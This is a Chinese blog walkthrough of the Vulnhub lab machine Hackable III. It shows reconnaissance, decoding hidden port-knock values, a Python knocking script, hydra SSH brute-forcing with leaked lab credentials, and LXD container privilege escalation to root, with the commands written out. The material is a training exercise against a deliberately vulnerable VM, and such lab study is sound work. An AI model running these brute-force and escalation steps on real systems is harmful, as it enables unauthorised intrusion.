Vulnhub-HACKABLE: III渗透

一、前言

由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
 如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

 👉本文靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.103
  • 靶机IP:192.168.2.129靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  1. 获取到/root/目录下的flag文件

3、渗透概括

  1. 获取端口信息文件
  2. web目录扫描
  3. base64和Brainfuck解码
  4. 获取字典
  5. 端口敲门
  6. ssh爆破
  7. 获取新用户
  8. lxd提权


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/sshssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个,更重要的是这个服务目前被防火墙过滤掉了是filtered状态

80/http基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个有点好看的web页面
在这里插入图片描述

我们Ctrl+u打开源代码页面,可以发现一个提示的注释
意思是求求你,juBiscleudo,在离开你的部门时,不要忘记激活端口敲门,并告诉老板不要忘记批准.jpg文件-dev_suport@hackable3.com
通过这个提示我们可以了解到.jpg文件和端口敲门(可以推测是敲开22端口),还有一个邮箱dev_suport@hackable3.com和一个可能的用户名jubiscleudo
在这里插入图片描述

我们用gobuster对网站爆破一下,由于前面的提示信息表示有jpg文件,所以我们要再加一个jpg的后缀

gobuster dir -u http://192.168.2.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,php,txt,html

扫描结果如下,发现有几个关键信息robots.txt3.jpg/backup/config/login.php这几个关键文件和目录
在这里插入图片描述

我们先看看robots.txt文件
在这里插入图片描述

发现不允许我们看config目录,那我非要看看
有一个1.txt文件,我们继续打开看看
在这里插入图片描述

发现是一个base64编码的内容
在这里插入图片描述

我们用echo "MTAwMDA=" |openssl base64 -d 解码,发现内容是10000,我们记录一下(可能是端口敲门需要敲的端口)
在这里插入图片描述

我们继续看看/backup目录
发现了一个wordlist.txt文件
在这里插入图片描述

点击进去看看,发现可能是一个字典文件
在这里插入图片描述

我们用curl工具保存一下
在这里插入图片描述

我们继续访问一下3.jpg,是一个图片,从图上没有看到什么有用的东西
在这里插入图片描述

我们把这个图片下载下来用steghide工具分离一下这个图片,发现有一个steganopayload148505.txt文件被分离出来了
我们查看一下这个文件,发现了新的端口65535,有1.txt和3.txt了,那么还差一个2.txt需要我们去寻找
在这里插入图片描述

最终在/css/目录里面跑出了2.txt文件
我们用curl一下这个2.txt文件的内容,根据以往做靶机的经验这是一个很明显的Brainfuck编码
在这里插入图片描述

根据解码的结果,发现了第二个端口4444(解码网站直达链接-戳我)
在这里插入图片描述

二、端口敲门

我们清点一下目前掌握的信息

用户名: jubiscleudo
邮箱:dev_suport@hackable3.com
三个端口(按文件名顺序):10000,4444,65535
一本字典:wordlist.txt

由于22/ssh端口被过滤了,我们尝试用python自己写一个端口敲门的程序,并且执行,如下所示
在这里插入图片描述

import socket

def scan_port(target_host, target_port):
    for port in target_port:
        try:
            # 创建套接字对象
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            # 设置超时时间
            sock.settimeout(1)
            # 尝试连接到目标主机和端口
            sock.connect((target_host, port))

        except socket.error:
            pass

        finally:
            # 关闭套接字
            sock.close()

# 在这里替换为你要扫描的目标主机和端口
target_host = "192.168.2.132"

# 调用扫描函数
scan_port(target_host, [10000, 4444, 65535])

再次扫描22/ssh端口,可以看到下图,22端口就已经打开了
在这里插入图片描述

三、ssh爆破

我们现在使用hydra工具对用获得的ssh字典和用户进行爆破
爆出来的密码为onlymy
命令:hydra -l jubiscleudo -P wordlist.txt -t 32 -s 22 192.168.2.132 ssh
在这里插入图片描述

用爆出来的密码成功登录ssh
在这里插入图片描述

四、获取另一个用户密码

我们看看/home目录下的用户,发现了另外一个用户hackable_3
在这里插入图片描述

我们到web目录下去cd /var/www/html/
发现了一个.backup_config.php的隐藏文件
在这里插入图片描述

cat命令查看一下,成功发现hackable_3的密码TrOLLED_3
在这里插入图片描述

我们用su命令登录hackable_3用户
在这里插入图片描述

五、LXD提权

无意间用id命令看了一下,发现当前用户所在lxd组,感觉来了,根据经验这个很有可能是个lxd提权
在这里插入图片描述

何为LXD呢?
LXD(Linux Containers Daemon)是一个用于管理 Linux 容器的守护进程。它提供了一个用户友好的命令行界面和 RESTful API,用于创建、管理和监视 Linux 容器。LXD 构建在 LXC(Linux Containers)之上,是一个轻量级、高性能的容器虚拟化解决方案。
利用原理就是利用lxd组的用户创建一个容器,再用容器挂载到宿主机的磁盘,就可以利用容器的权限(运行在root权限下)操作这个宿主机从而达到提权了

那我们现在就开始实践
我们先在Github(戳我直达,下载不了的话私信博主)下载一下所需要的文件
然后放到kali里面,解压并且进入到解压的目录,如下操作
在这里插入图片描述

./build-alpine运行一下这个构建文件
等待一段时间就能构建完成,我们用python -m http.server 80命令创建一个http的目录浏览服务,方便我们传输文件
在这里插入图片描述

我们到靶机里面用wget命令下载一下alpine-v3.13-x86_64-20210218_0139.tar.gz文件在这里插入图片描述

如下图,我们用lxd命令导入一下
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
在这里插入图片描述

再执行lxc image list命令
这个FINGERPRINT的值cd73881adaac需要记住一下,后面要用
在这里插入图片描述

我们输入lxd init命令之后一路回车即可完成
在这里插入图片描述

我们通过如下步骤进行lxd提权

# 我们创建一个容器命名为tiquan
hackable_3@ubuntu20:/snap/lxd$ lxc init cd73881adaac tiquan -c security.privileged=true
Creating tiquan

#挂载一下
hackable_3@ubuntu20:/snap/lxd$ lxc config device add tiquan mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to tiquan

# 启动这个tiquan容器
hackable_3@ubuntu20:/snap/lxd$ lxc start tiquan

# 进入,就可以拿到root权限了
hackable_3@ubuntu20:/snap/lxd$ lxc exec tiquan /bin/sh

~# 

我们cd /mnt/root/root目录下面即可拿到flag文件,至此该靶机渗透完成
在这里插入图片描述

  • 36
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂搞网安的18岁老登

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值